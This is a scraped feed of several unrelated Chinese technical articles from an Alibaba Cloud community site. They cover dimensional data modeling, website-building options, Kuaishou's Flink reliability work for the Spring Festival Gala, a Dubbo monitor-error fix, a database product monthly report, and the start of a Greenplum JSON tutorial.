      一些传统大型企业,由于历史原因,原子数仓中以三范式的模型设计方式构建,在各个应用的数据集市中以维度建模方式构建。通过这种方式,在原子数据设计过程中,需要投入较大的资源。

      对于业务来说,三范式模型太复杂,用户难以理解和检索。并且对于业务频繁变化的企业,模型的维护成本极高。

      企业级维度模型

      基于企业全局的角度去构建业务总线矩阵,在此基础上完成维度模型的设计,是当前众多企业选择的方向。从众多互联网企业的数据中台实践经验来看,这也是一个绝佳的各因素平衡后的选择。

      后面,我们将从各个角度来思考如何基于维度模型构建企业级数据中台。

      3、维度建模初探

      优势
      在数据中台建设经验中,企业级维度模型设计从理解性、扩展性、高性能上都是更适应当前的技术和业务环境的。

      首先由于计算和存储成本逐步下降,模型更重要的变成了易于理解,当易用性放在模型设计的重要位置时,维度模型可理解的优势就显现出来了,维度建模一直就是以业务的视角来描述数据。

      另外,当新的业务出现时,新的模型不会对已有模型形成冲击,可以无影响的产出新的模型数据。

      维度建模会设计部分数据的冗余,通过冗余换来数据检索的高性能。对于数据量极具膨胀的今天,高性能给用户带来了高价值。

      事实表

      所谓的事实表,就是企业的业务过程事件的度量信息。例如对于支付这个业务过程来说,需要度量支付的商品数、金额等度量。因此,企业的业务过程数据以事实表的形式在模型中呈现出来。

      事实表每行都对应了一个度量事件,每行数据是一个特定级别的细节数据。事实表中每个度量都必须是相同的粒度级别。

      事实表中的度量的可加性也至关重要,因为业务方往往需要将事实表的数据基于某些维度进行汇总,在度量上需要能够做汇总累加。

      事实表还是稀疏的,它仅仅会将发生的业务过程数据放入其中。
      **
      维度表**

      维度表是事实表不可或缺的组成成分,它描述了事实表业务过程度量的环境。用于描述“谁、什么、哪里、何时、如何、为什么”有关的事件。

      维度属性是作为查询约束、分组、标识的主要来源,因此它的好坏直接决定了数据的可分析性的差异。维度属性需要是可理解的,因此需要尽量避免“0,1”之类的代码,将代码翻译成更易理解的字符避免业务的误解。

      同样,会有一些数值型的可作为维度属性。例如:也许有人会问商品标价适合在事实表还是维度表中?

      当用于计算度量时,它应该存在于事实表中;但是当它用于做约束、分组、标识分析时,则需要存在于维度表中。在维度表中,我们往往会把连续的数据换成离散的数值存储,例如:将标价变为价格区间段。这是要根据对业务的理解做进一步设计的。

      雪花模型与星型模型

      所谓的雪花模型,是当有一个或多个维表没有直接连接到事实表上,而是通过其他维表连接到事实表上时,其图解就像多个雪花连接在一起,故称雪花模型。

      而星型模型则是所有维表都直接连接到事实表上,整个图解就像星星一样,故将该模型称为星型模型。

      雪花模型是对星型模型的扩展。

      星型模型是一种非正规化的结构,多维数据集的每一个维度都直接与事实表相连,不存在渐变维度,所以数据有一定冗余。因为有冗余,所以很多统计不需要做外部的关联查询,因此一般情况下效率比雪花模型高。

      但是从可理解性上看,雪花模型是更容易让业务理解的。因为业务可以从模型上看出维度与维度之间的关系。

      因此如何平衡查询效率和业务理解?我们在后面的文章中再细细道来。

      **总线矩阵
      **
      总线矩阵,维护的是企业的各个业务过程与一致性维度的关系。是以企业的高度实现的顶层设计。它的存在对于数据中台项目至关重要。

      如果数据中台的模型设计就是一本书,那么总线矩阵就是这本书的目录,能从整体上对每个模型有统一的定义。

      从项目协调上看,总线矩阵在大型项目中起到举足轻重的地位,整个项目组都能基于这个目录清晰的明白自己在做什么,别人已经做了什么,极大程度上的避免了信息沟通不畅导致的重复定义。

      从项目管理上看,也可以基于总线矩阵对模型设计和开发进行有效的优先级排期。

      最后,总线矩阵是共同业务人员和技术人员的桥梁,通过总线矩阵在项目沟通中达成一致的语言。

      结语

      通过这篇文章,初浅的对数据中台模型设计发表了一些观点。
      在后面的章节中,我们将继续围绕模型设计的技术细节、结合行业的模型设计案例,和数据同仁们做进一步的分享和交流 。


      数据中台是企业数智化的新基建,阿里巴巴认为数据中台是集方法论、工具、组织于一体的,“快”、“准”、“全”、“统”、“通”的智能大数据体系。目前正通过阿里云数据中台解决方案对外输出,包括零售金融互联网政务等领域,其中核心产品有:

      官方站点:
      数据中台官网 https://dp.alibaba.com
      数据中台钉钉群二维码2.jpg


      ]]>
      小白使用阿里云建网站三种方式(自助建站+模板建站+功能定制建站) Fri, 02 May 2025 09:39:04 +0800


      使用阿里云建网站的三种方式购买云服务器手动建站、云速成美站模板建站或者选择阿里云定制建站三种方式,站长分享利用阿里云创建网站的三种方式及优势对比:


      阿里云建站方法汇总


      使用阿里云建站可以有三种方式,


      第一种是购买ECS云服务器,然后自行手动搭建网站,需要技术门槛;


      第二种方式是购买阿里云官网云速成美站,使用模板建站,阿里云提供上千套模板,模板建站价格便宜,会打字就会建站;


      第三种是使用阿里云官方定制建站,需要什么样的网站什么功能,阿里云建站专家提供一对一网站定制。参考下表:

      阿里云建站方式 所需产品 优势 适用人群
      自助建站 ECS云服务器 自行购买云服务器,手动搭建网站 需要些技术门槛,适用于刚接触云计算或对云服务器和建站不太了解、希望自行设计网站的个人或小企业用户。
      模板建站 云·速成美站 使用阿里云提供上千套模板,可视化后台管理,会打字就会建站 适合有一定软件应用能力的个人或小企业用户,模板建站支持Web站点、移动端站点、互动表单以及会员支付多场景。
      定制建站 云·企业网站定制功能定制 由阿里云专业网站设计师完成网站设计及搭建 适合对网站有品质要求或个性化需求、希望节省人力和时间成本的企业用户。

      阿里云建站产品如何选择?如果您是站长类的技术人员,当然选择自助建站方式,如果非技术人员,个人或者工作室建议选择云·速成美站,如果是企业用户建站选择阿里云网站定制服务。


      阿里云建站不需要用户另外购买云服务器或虚拟主机等产品,阿里云提供香港节点并且提供全球CDN加速,不用备案,拿来即用。阿里云大品牌无隐形消费,我见过太多打着免费建站的幌子,实际价格贵的离谱。举例来说,免费建站,使用的域名是对方的三级域名,域名人家说收回就收回,免费建站,云主机却要收费,而且价格很贵没有质量保障,网站说打不开就打不开。


      我从新手过来的,之前使用过免费域名,用了有一段时间了,结果被收回了,使用免费虚拟主机,速度卡不说,结果网站数据丢失了,这不是免费惹的祸,是小编贪图便宜惹的祸,建议选择大品牌,值得信赖。


      ]]>
      首次揭秘!​春晚活动下快手实时链路保障实践 Fri, 02 May 2025 09:39:04 +0800

      摘要:本文由快手开发工程师刘建刚分享,主要介绍春晚活动下快手实时链路保障实践。内容主要包含以下四部分:

      1. 快手 Flink 简介
      2. 春晚实时保障方案
      3. 春晚实时大屏
      4. 未来规划

      Tips:点击「阅读原文」链接可查看作者原版 PPT 及分享视频~

      一、快手 Flink 简介

      我们首先来看一下快手的实时计算架构图。主要分为4个部分,包括数据接入、数据计算、数据应用和数据展示。各层职责分明、衔接顺畅,方便用户开发。

      640 1.png

      快手的 Flink 集群规模大概有 3000 多台机器,日处理条目数为20万亿,峰值为38亿条。主要应用场景包含以下四类:

      • 实时 SQL 平台,这是 Flink 托管的一个产品化的 SQL 平台。
      • 短视频、直播等指标的实时计算,涵盖了公司的主要业务和产品。
      • 机器学习的数据预处理,支撑着快手广告等各种模型的训练。
      • 快手所有的日志拆分、同步等实时的数据流。

      640 2.png

      二、春晚实时保障方案

      快手中标了2020年的央视春晚,春晚作为全球华人辞旧迎新的晚会,数据量之大前所未有。快手 Flink 作为公司的实时计算平台,支持春晚超大状态和千万并发等复杂计算。春晚项目的挑战主要体现在稳定性、实时性、准确性三个方面,我们为此制定了一系列方案为春晚保驾护航。

      640 3.png

      下面我会通过这4个方面来介绍一下我们为春晚做的努力。

      • 第一个是过载保护,主要介绍极端压力下的技术应对方案;
      • 第二个是全系统的稳定性,确保各个方面都万无一失;
      • 第三个是压力测试,它是春晚的提前模拟;
      • 第四个是资源的保障,涉及到资源的管理和保障。

      640 4.png

      1.过载保护

      Flink 在流量激增或者单点性能不足的情况下,有可能会发生卡死、雪崩或者失败的情况。这个时候一旦我们的实时作业挂掉,整个作战计划就会被打乱,可能给公司带来很大的损失。

      640 5.png

      我们针对这种场景设计了一种健康检查、智能限速、源端控制相结合的柔性可用技术。为什么要通过源端控制?首先,如果出了问题,我们可以在下游的 task 上进行控制,但是这样的话可能带来一个问题,它会造成反压等阻塞行为,有可能会把整个作业卡死,所以我们通过控制数据源来从本质上解决问题。下面是我们技术实现:

      • TaskManager 作为从节点,将自己的健康信息定期汇报到 Master 节点。
      • Master 节点一旦检测到极端压力,立刻要求所有的 source 限速 50%。
      • 如果之后作业状态良好,就会慢慢的提高我们的输入 QPS,每次 10%。

      640 6.jpg

      然后看一下我们的测试效果图。流量高峰到来时 QPS 为 200K。一旦 Master 节点检测到极端压力,直接将 QPS 限速到 100K。之后检测到作业状态良好,就逐步地进行恢复。经过测试(随着逐渐恢复各项指标会有波动),我们的 CPU 使用率从最高的 100% 降到了 80%~90%,ygc 由每分钟的10秒降到了每分钟3秒以内,同时也避免了的 oom、心跳超时、卡死等各种问题。这种技术能够保障我们 Flink 在极度压力下的存活,起到了削峰保命的效果。

      640 7.png

      我们还设计了一种轻量级的热更新模型,在作业不停止的情况下通过 restful 接口实时的控制作业去应对各种压力,避免了繁琐的修改代码、打包、上线等耗时过程。常见功能包括关闭快照、设置采样率、source 源鲜素,如下图所示。

      640 8.png

      2.全系统稳定性

      分布式系统涉及到方方面面,任何一个环节出了问题都可能是致命的,我们为此在故障应对和项目管理上做了很多工作。故障应对包含故障排除、故障演练、故障预案,项目管理包含作业管理、集群管理、工程管理。

      640 9.png

      首先进行的是 Flink 的故障排除。Flink 的交互组件包括 Yarn,HDFS,Kafka,Zookeeper,我们逐一的对每个组件进行故障排除。它们各自的风险排除步骤,如下图中的表格所示。

      640 10.png

      故障排除完了之后,就需要在真实的场景中进行故障演练。主要的演练方法就是在我们的集群中,随机的注入各种异常来测试并且完善 Flink 的稳定性,确保 Flink 做到以下保障:

      • 相关组件异常不影响 Flink,比如 Yarn 和 HDFS 的主节点挂掉。
      • 作业宕机,Hawk 监测系统5秒内发现并作相关处理。
      • 作业 Failover 在30秒以内。

      640 11.png

      为了更好地应对各种故障,我们还制定了完善的故障预案,这是一套完整的应急指导方针。针对每一种故障,我们都有快速的问题排查和解决手段。

      640 12.png

      除了快速应对故障,良好的管理手段也必不可少,它可以有效的减少故障。下面介绍我们管理上的一些手段。

      首先是作业管理这一块,包含作业管理系统的稳定性和相关的运维工作。包括四个方面:

      • 作业管理系统支持高可用。一旦出问题可以快速的切换。
      • Checklist 规范用户开发,包括快照设置和数据源对齐等实战经验。
      • 常见工具,包含全局日志查询、高负载查询、快速迁移等。
      • 报警机制和 metric 的展示,做到问题提前发现和及时发现。

      640 13.png

      接下来是集群管理。集群作为我们整个系统的物理载体,一旦出现问题就是致命性的:

      • 针对高优作业搭建多套实时集群,避免离线的干扰。
      • 关键队列物理隔离。针对特定集群要求的作业,通过物理隔离来保障其稳定性。
      • 机器环境的排查。确保机器环境符合我们的预期。
      • 重要作业实现多集群的部署,出现问题秒级切换。(实时大屏会详细介绍)

      640 14.png

      最后一个就是工程的管理。工程管理的关键是时间线预案,主要是指导我们在什么时间点该做什么事情,贯穿整个项目开发。下面简单描述了下春晚的事前、事中、事后的主要操作:

      640 15.png

      3.压力测试

      压力测试相当于春晚的一个模拟,它能够帮助我们发现很多问题。针对春晚,压力测试比一般的时候要更复杂一些。面临的最主要的两个问题,第一个问题就是数据模型怎么构造,比如说有哪些 topic、各 topic 的数据分布是怎么样的。第二个问题是我们如何根据这些模型生成符合条件的数据。

      640 16.png

      数据模型的难点在于构建的数据分布必须跟春晚保持一致。我们的解决方案是以人为参考单位,基于统计规律建立人与数据分布的映射关系。简单来说,计算出每个人在各个 Topic 的数据量,预估有多少人各个 Topic 的 QPS 就翻多少倍,当然实际情况会复杂许多。最终,我们根据公测和元旦当天用户产生的数据来进行春晚模型的建立。

      640 17.png

      模型构建完成之后,需要根据模型生成数据。为此,我们构建了一整套完善的数据生成服务,用户只需要进行简单的配置就可以,而流量控制、多 task 的协作、分布式生成等复杂的实现全部由平台实现。主要有三种形式的数据生成:

      • 数据翻倍,基于 bytes 的流量翻倍,性能最佳。
      • 时间压缩,在不改变数据分布的情况下压缩数据、提高 QPS。
      • 样本生成,根据用户提供样本生成符合条件(QPS、UV等)的数据。

      640 18.png

      4.资源保障

      春晚对数据的实时性要求比较高。只有资源保障到了才可以实现我们的实时性。

      640 19.png

      资源保障的关键策略是分级保障。我们把作业分了三个优先级:P0、P1 和 P2:

      • P0 是高优作业,跟春晚相关的一些活动。
      • P1 是重要的作业,是指业务方的一些重要作业。
      • P2 是普通的任务,一般指非核心的作业。

      为了做到分级保障,我们制定了重点保障高优先级作业的降级策略:

      • 春晚之前,我们会批量的把 P2 的任务都停止掉,把资源全部都挪给 P0 和 P1。
      • 春晚中,如果有需要,降级 P1 的资源来保障 P0 作业的资源。
      • 春晚后,我们会把之前停掉的 P2 作业再重新提起来,并且从 kafka 最新的 offset 开始消费。

      通过分级保障,在资源有限的情况下,优先保障了我们的重点作业,确保了高优任务的实时消费。分级保障对今后的服务治理意义重大。比如说以后的资源调度、灰度上线、作业迁移等等,都可以参考分级保障的策略。

      640 20.png

      资源保障的另一个体现在于快速扩容,分为实时指标监控和资源选择两个方面。实时指标监控包括作业吞吐,作业延时,快照信息,物理信息,通过这4个重要的部分就可以衡量一个作业是否健康。如果我们检测到作业有性能问题需要扩容,需要按照一定顺序选择资源来补充——集群内冗余资源,备用集群,低优任务资源。

      640 21.png

      三、春晚实时大屏

      下面我们以实时大屏作为经典案例来介绍。快手春晚实时大屏为作战指挥官提供最核心的活动和公司大盘实时数据,总共承接了100多个实时指标的计算,包括在线、红包、互动等各项指标。主要的挑战表现在三个方面:

      • 数据量大,QPS 在千万级别;
      • 实时性要求比较高,在秒级以内;
      • 稳定性要求高,可用性为4个9。

      接下来我会从技术选型、压力测试、服务部署三个方面顺序展开。

      640 22.png

      1.技术选型

      架构组件是以 Flink 为主,Redis 为辅。Flink 适合大规模的实时计算,Redis 作为一款高效的 KV 查询工具来辅助实时计算。

      各项指标中,基于 deviceld 的 UV 计算最多、复杂度最高。一般来说,先将字符串类型的 deviceId 转成数字类型的 id,然后存储在位图结构 bitmap(存储空间小)中进行计算。这里介绍下快手的技术方案:

      • Flink+HBase。HBase 负责将 deviceId 转成 id,Flink 负责计算。
      • Flink+Redis。通过 Redis 判断 deviceId 是否首次出现,如果是就下发计算。
      • Flink 自身。Flink 自建字典为快手内部实现的精准一次方案。

      前面两种方案将字典和计算解耦,适合多个作业共享一个字典。最后一种方式不再依赖外部系统,性能最佳。实时大屏根据自己需求和熟练度选择了第二种方案。

      640 23.png

      2.压力测试

      压力测试分为单作业的压测和全链路的压测。

      • 单作业压测这一块,我们通过增量计算、批量访问、本地缓存、objectReuse 等优化技术,使单个作业的 QPS 达到百万级别。
      • 全链路压测这一块,用来评估整体性能,需要协调所有数据和作业,具体操作如下所示。

      640 24.png

      3.服务部署

      最后一步是多链路的服务部署。实时大屏作业的稳定性要求特别高,必须多链路热备:

      • 双机房热备。一旦机房挂掉,立刻切到另一个机房。
      • 多链路热备。针对全量链路和采样链路,集群内物理隔离、多链路运行。
      • 指标故障用户无感知。最上面视图层屏蔽底层链路,底层出问题可以秒级切换。

      640 25.png

      四、未来规划

      上面是春晚实时大屏案例的介绍,下面也跟大家分享一下我们将来的一些规划:

      • 推广 SQL,探索批流统一、Table&Stream 的广泛用途。
      • 自研 SlimBase statebackend,实现存储计算分离。
      • 提升 Flink 故障自愈能力。
      • 建立作业诊断模型,实现问题快速定位。
      • 探索数据库、K8s 等相关系统的组合应用。

      文章不够看?点击「阅读原文」可直接回顾作者现场分享的讲解视频~

      ]]>
      com.alibaba.dubbo.rpc.RpcException: No provider available from registry stable.zk.scsite.net:2181异常解决 Fri, 02 May 2025 09:39:04 +0800 原文链接:
      https://copyfuture.com/blogs-details/20200629181409555v24mc4magq748ni

      最近发现dubbo消费端一直报下面这样的error日志

      06-17 15:56:50.749  ERROR default - [orSendTimer-thread-1] c.alibaba.dubbo.monitor.dubbo.DubboMonitor :  [DUBBO] Unexpected error occur at send statistic, cause: No provider available from registry *.*.*.*:端口 for service com.alibaba.dubbo.monitor.MonitorService on consumer 172.*.*.124 use dubbo version 2.8.3, please check status of providers(disabled, not registered or in blacklist)., dubbo version: 2.8.3, current host: 172.*.*.124
      com.alibaba.dubbo.rpc.RpcException: No provider available from registry stable.zk.scsite.net:2181 for service com.alibaba.dubbo.monitor.MonitorService on consumer 172.*.*.124 use dubbo version 2.8.3, please check status of providers(disabled, not registered or in blacklist).
          at com.alibaba.dubbo.registry.integration.RegistryDirectory.doList(RegistryDirectory.java:577)
          at com.alibaba.dubbo.rpc.cluster.directory.AbstractDirectory.list(AbstractDirectory.java:74)
          at com.alibaba.dubbo.rpc.cluster.support.AbstractClusterInvoker.list(AbstractClusterInvoker.java:271)
          at com.alibaba.dubbo.rpc.cluster.support.AbstractClusterInvoker.invoke(AbstractClusterInvoker.java:232)
          at com.alibaba.dubbo.rpc.cluster.support.wrapper.MockClusterInvoker.invoke(MockClusterInvoker.java:75)
          at com.alibaba.dubbo.rpc.proxy.InvokerInvocationHandler.invoke(InvokerInvocationHandler.java:77)
          at com.alibaba.dubbo.common.bytecode.proxy19.collect(proxy19.java)
          at com.alibaba.dubbo.monitor.dubbo.DubboMonitor.send(DubboMonitor.java:127)
          at com.alibaba.dubbo.monitor.dubbo.DubboMonitor$1.run(DubboMonitor.java:72)
          at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
          at java.util.concurrent.FutureTask.runAndReset$$$capture(FutureTask.java:308)
          at java.util.concurrent.FutureTask.runAndReset(FutureTask.java)
          at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:180)
          at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:294)
          at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
          at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
          at java.lang.Thread.run(Thread.java:748)

      该个error对项目的功能没有任何影响,但反复的报错也是让人心烦,那么就解决吧。

      原因

      没有启动监控中心,却配了监控地址。

      解决方案

      1. 把监控中心启动
      2. 把xml配置中的
      3. properties配置中的dubbo.monitor.protocol=registry去掉

      dubbo:monitor

      监控中心配置。对应的配置类: org.apache.dubbo.config.MonitorConfig

      | 属性 | 对应URL参数| 类型| 是否必填| 缺省值| 作用 | 描述 | 兼容性 |
      | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- |
      | protocol | protocol| string| 可选| dubbo| 服务治理 |监控中心协议,如果为protocol="registry",表示从注册中心发现监控中心地址,否则直连监控中心。| 2.0.9以上版本|
      |address| | string |可选| N/A |服务治理|直连监控中心服务器地址,address="10.20.130.230:12080" | 1.0.16以上版本

      ]]>
      数据库产品事业部月刊(2020.5) Fri, 02 May 2025 09:39:04 +0800 一、重大事件

      1、自研云原生数仓AnalyticDB包揽权威测评TPC-DS、TPC-H全球第一!

      5月4日,TPC(全球最知名非盈利的数据管理系统评测基准标准化组织)官网正式上线AnalyticDB TPC-DS成绩,AnalyticDB通过严苛的TPC-DS全流程测试,性能QphDS分数为14895566,性价比分数为0.08CNY,相比较基于Spark深度优化版的前世界纪录性能提升29%并且单位成本仅为其1/3,成为TPC-DS官方榜单上全球性能、性价比双双领先的数据仓库,这是继2019年4月26日后再次获得全球领先的成绩!

      666.png

      此外,AnalyticDB首次刷新TPC-H 30TB当前有效榜单纪录成为全球第一,性能、性价比全球领先!相比前世界纪录 微软SQL Server 2019,综合性能提升290%,单位成本仅为其1/4,成为中国首次荣登该榜单的产品!

      000001.png


      查看详情:https://developer.aliyun.com/article/759564

      2、开启云原生数据库新时代,阿里云数据库启用全新品牌口号

      5月18日,阿里云数据库产品事业部(ApsaraDB)宣布正式启用全新品牌口号 —— “阿里云数据库:更快、更稳、更安全(Faster, Stronger, Securer)”,未来将聚焦 “极致性能”、“稳定性”和“安全性” 三大品牌价值内核,在多个数据库细分领域,为用户提供业界领先的数据库产品和最专业的数据库技术服务。新品牌口号的提出,标志着阿里云数据库的全面升级,开启云原生数据库的新时代,同时也是更好地为客户服务的信心体现。

      飞刀揭幕.JPG

      查看详情:https://developer.aliyun.com/article/761835

      二、重大产品更新

      PolarDB下一代云原生数据库

      RDS MySQL用户升级到PolarDB可保留原地址(应用程序不改连接配置)

      RDS MySQL实例可直接升级为PolarDB MySQL,3分钟停机时间,业务0改动。在升级的过程中,既可以保留原来RDS主实例地址(包含公网地址/私网地址),也可以保留RDS的读写分离地址,大大降低了用户使用PolarDB的门槛,上线区域包含中国站和国际站。

      国际站PolarDB上线存储包,10T及以上存储空间可节省40%成本

      PolarDB在国际站现已支持包年包月购买存储包,用来抵扣PolarDB集群的存储费用,通过存储包可大幅节省用户的存储成本,尤其适合大容量用户。

      PolarDB 备份功能重大升级并收费

      PolarDB 面向全球所有地域的用户开放更多高级配置选项和能力,满足企业级数据备份的需求,进一步保障数据安全。支持调整备份周期;支持永久保留数据库备份;支持数据库回收站,可以从回收站恢复已释放实例,挽救误操作;备份存储分级,二级备份极大幅降低用户保存历史备份数据的成本。上线渠道包含中国站和国际站,以及金融云、新零售云聚石塔、菜鸟云等虚商。

      云原生数据仓库+数据湖

      云原生数据仓库弹性模式规格实例发布

      ADB MySQL弹性规格上线。实现了资源层面的弹性购买,用户可按照计算资源、数据资源独立购买,存储方面无需购买按量付费。目前开放了国内区域,预计6月底开放海外部分。

      云原生数据仓库基础版支持ESSD云盘

      ADB MySQL基础版(单机版)规格实例的存储系统在支持高效云盘的基础上,新加ESSD云盘存储,支持高效云盘月ESSD圆盘存储之间相互切换。基于ESSD云盘存储的ADB MySQL集群读写性能有巨大提升,进一步降低用户成本。

      云原生数据仓库PostgreSQL版推出资源弹性模式

      分析型数据库AnalyticDB for PostgreSQL正式推出资源弹性模式。节点规格支持2C16G和4C32G两种规格,节点数可从4~256选择。同时支持ESSD云盘和高效云盘两种存储形态,空间支持50~1000GB范围选择,且支持在线扩容。通过支持资源弹性模式,AnalyticDB for PostgreSQL将为用户带来更加灵活的选择,可根据空间使用按需扩展使用,大幅降低用户前期投入。

      云数据库ClickHouse支持SLS日志投递发布

      云数据库ClickHouse 接入SLS 日志投递功能,支持日志数据实时投递到ClickHouse进行实时分析。为新零售,电商, 直播,游戏等行业客户构建低成本高性能的实时日志分析系统提供产品解决方案,支撑用户画像分析,用户行为分析,人群划分等数据化运营业务。

      云数据库ClickHouse 接入数据管理服务DMS发布

      云数据库ClickHouse 接入数据管理服务DMS,支持在线数据库表管理,在线查询和任务编排调度,避免客户下载和安装Client 的复杂开发流程, 提升了用户体验,降低了数据分析开发的成本。

      RDS&NoSQL&管控工具

      阿里云数据库专属集群国际站发布

      阿里云数据库专属集群国际站发布,支持MySQL:杭州、北京、上海、深圳、张家口、呼和浩特、香港、新加坡、雅加达、孟买、硅谷等地域已开服。

      MySQL 库表级恢复效率提升四倍

      RDS MySQL 高可用版本地盘实例,包括5.6、5.7、8.0 三个版本,单库单表级恢复效率提升四倍,一般情况下可达100MB/S的恢复速度,即相当于1分钟可以恢复6GB的单表。 本次优化对于如游戏类业务场景非常友好,可以实现快速的开服回滚等业务操作。

      RDS SQL Server支持SSD磁盘盘升级ESSD

      RDS SQL Server 高可用系列支持SSD磁盘盘升级ESSD,客户可直接将SSD盘升级为ESSD磁盘,提升IO性能。

      RDS PostgreSQL V11支持DDL回收站、防火墙、增量订阅

      RDS PostgreSQL V11开放事件触发器, 支持DDL回收站、防火墙、增量订阅等功能. 增强安全、增量复制功能.

      Redis 6.0 发布

      Redis 6.0版本在一系列关键领域进行了改进,支持新的Redis协议:RESP3,采用网络请求多线程处理提高了性能,并修复了之前版本的多个缺陷。 此次在阿里云上线的规格是社区云盘版,后续会逐步支持本地盘版。

      MongoDB 支持多安全组设置

      MongoDB 支持多安全组设置,方便客户进行灵活配置

      支持HBase、RDS或其它数据源数据导入HBase Serverless服务

      支持从HBase、RDS、MongoDB,ElasticSearch,TableStore等数据源导入数据到HBase Serverless服务

      阿里云数据库Cassandra版国际站商用发布

      阿里云数据库Cassandra版国际站商用发布:青岛、北京、张家口、呼和浩特、杭州、上海、深圳、香港、新加坡、雅加达、孟买、法兰克福、弗吉尼亚、硅谷、伦敦等地域均已开服。

      数据库备份DBS推出Oracle RAC备份功能

      数据库备份DBS推出Oracle RAC备份功能,支持10g、11g、12c、18c、19c,提供10分钟RPO备份、任意时间点恢复能力。DBS采用Oracle原生RMAN接口,备份数据直接写到云存储,不在本地磁盘中转,数据传输和存储全程加密,数据压缩后长期归档。之前DBS备份已支持Oracle SingleInstance、DataGuard架构。

      数据管理DMS国际站上线新版售卖变更

      数据管理DMS新版统一产品入口,免费版升级为新版的自由操作管控模式,高级版升级为新版的稳定变更管控模式,企业版升级为新版的安全协同管控模式,同时针对安全协同管控模式最高定价降幅68%;优化多个功能模块的国际化显示与交互支持。

      数据管理DMS支持云数据库ClickHouse的统一管理

      数据管理DMS支持ClickHouse的数据库设计及管理,包括实例录入、权限管理、敏感字段管理、数据查询、数据变更等基础管理操作,同时数据工厂/数仓开发-任务编排也已支持ClickHouse。

      数据库自治服务DAS 支持基于真实流量的数据库压测服务

      数据库自治服务 DAS 发布了智能压测,该功能为客户提供轻量级、基于真实的业务流量的数据库压测服务,具备低负载获取源端真实业务流量、支持事务、支持写入流量的压测、支持自定义压测速率等优势,客户可以通过该功能实现上云搬站的容量评估、大促前的数据库压测、异构数据库的迁移评估等。

      数据传输服务DTS支持了TIDB不停机迁移和和PolarDB-X为源的同步功能

      数据传输服务DTS支持将TIDB的结构、全量数据、增量数据迁移到MySQL、PolarDB MySQL,实现TIDB的在线迁移。支持将PolarDB-X到PolarDB-X的全量数据、增量数据同步,支持PolarDB-X到AnalyticDB MySQL的结构、全量数据、增量数据的同步。

      数据传输服务DTS集成云企业网CEN,简化线下IDC自建数据库上云迁移的网络配置

      数据传输服务DTS支持通过云企业网CEN配置迁移和同步任务,DTS可以和CEN里的VPC、VBR、CCN进行互联互通,进而实现DTS和线下数据库的互联互通,大大减少了用户专线接入的网络配置,提升线下IDC数据库通过专线的上云迁移速率。

      三、前沿技术

      智能数据库模型训练时间缩短到最新工作的1/100

      智能数据库基于混合数据模型学习数据联合分布,在几乎不损失精度的情况下,模型训练时间缩短到最新工作(Berkeley发表的VLDB20论文)的1/100,该模型可以作为数据库的基础组件用到优化器以及数据库生成等重要业务。

      全加密数据库MySQL版完成重要生态工具的兼容适配

      包括:TDDL支持密文数据自动加解密功能;DTS支持明文库与密文库间的全量/增量数据同步、全量数据正确性校验功能。上述工具将帮助已有业务平滑、安全地迁入加密数据库环境中。

      空天数据库时空拼图大查询性能优化突破阶段性目标

      采用区别于传统的影像单元化存储策略,借助SQL+NoSQL 协同数据访问以及分布式大查询并行计算优化,将覆盖中国600+遥感影像(总量600G)的时空动态拼图植被指数计算效率从分钟级优化到秒级。

      数据库自治服务DAS用户突破4万

      DAS作为业界第一个数据库自动驾驶云平台,发布以来,用户数已经超过4w,商业化两个月时间付费实例数超过1000,当前日GAAP超过1.7w,月增长率67%。DAS已经为3000+用户,超过1w的实例提供辅助自治服务,用友、米连科技、宝宝树、单创等GC7/6大客户利用DAS的智能压测功能,在上云搬站、大促容量评估、数据库引擎选型切换上面都提供重要的帮助。从数据库冲击Gartner Leader象限调研可以看到,增加了对数据库Autonomous能力的评估,DAS提供的能力可以帮助团队在自治能力上拿到分数。

      四、客户案例

      1、大型药企朗致集团抛弃传统商业数据库迁移上云,数据库运维成本下降50%

      日前,阿里云携手用友帮助国内大型医药控股型集团公司朗致集团将核心ERP系统和核心数据库迁移上云,数据库直接成本下降20%,运维成本下降50%,同时提升了内外部协同效率,促进业务进一步的发展。

      2020 年 1月,朗致集团正式启动上云进程。在用友与阿里云的共同推进下,历时3个月,成功将业务系统及数据库搬迁上云。

      由于采用了阿里云服务,朗致集团大幅降低了机房管理和运维成本;通过业务系统上云,实现企业内外部高效协同,快速响应市场需求;此外,通过实现业务系统的在线化,为公司未来的数字化、智能化战略落地奠定了坚实基础。

      朗致集团IT负责人表示:借助阿里云强大的云数据库运管能力,公司除了大幅度降低运维负担,更重要的是确保了数据安全——RDS秒级历史数据恢复能力,让企业免去了数据丢失的隐忧。

      朗朗.png

      查看详情:https://developer.aliyun.com/article/762664

      2、银泰百货抛弃传统数据库转投阿里云PolarDB,投入产出比增长2倍以上

      5月15日,银泰百货数据库团队举办数据库上云一周年庆祝活动。银泰数据库负责人李亚博透露,公司核心业务系统中的数据库搬迁至阿里云PolarDB之后,在相同成本的情况下可以支撑三倍以上的业务量。

      新零售四年,银泰百货通过数字化转型,成为一家全面架构在云上的互联网百货公司。在此过程中,银泰百货数据库上云对业务飞跃式发展进行了很好地支撑。

      “对于银泰这样的新零售企业,每年有较多的大促节点,大促时数据库资源消耗非常大,对稳定性要求也非常高。” 李亚博表示,数据库上云之后,银泰大促时可以非常灵活地使用PolarDB云数据库的弹性扩容与缩容能力。今天银泰的交易峰值增长20倍以上,但IT成本并没有上涨。

      银泰~~.png

      查看详情:https://developer.aliyun.com/article/760663?spm=a2c6h.13148508.0.0.1f984f0epNgUPJ

      ]]>
      Greenplum json类型的使用 Fri, 02 May 2025 09:39:04 +0800 1.建json类型字段的表

      CREATE TABLE orders (
          ID serial NOT NULL PRIMARY KEY,   
          info json NOT NULL
      );
      

      2.插入json类型的数据

      INSERT INTO orders (info) VALUES  
      ( '{ "customer": "John Doe", "items": {"product": "Beer","qty": 6}}' );
      
      INSERT INTO orders (info) VALUES   
      ( '{ "customer": "Lily Bush", "items": {"product": "Diaper","qty": 24}}' ), 
      ( '{ "customer": "Josh William", "items": {"product": "Toy Car","qty": 1}}' ), 
      ( '{ "customer": "Mary Clark", "items": {"product": "Toy Train","qty": 2}}' );
      

      3.查看json类型数据

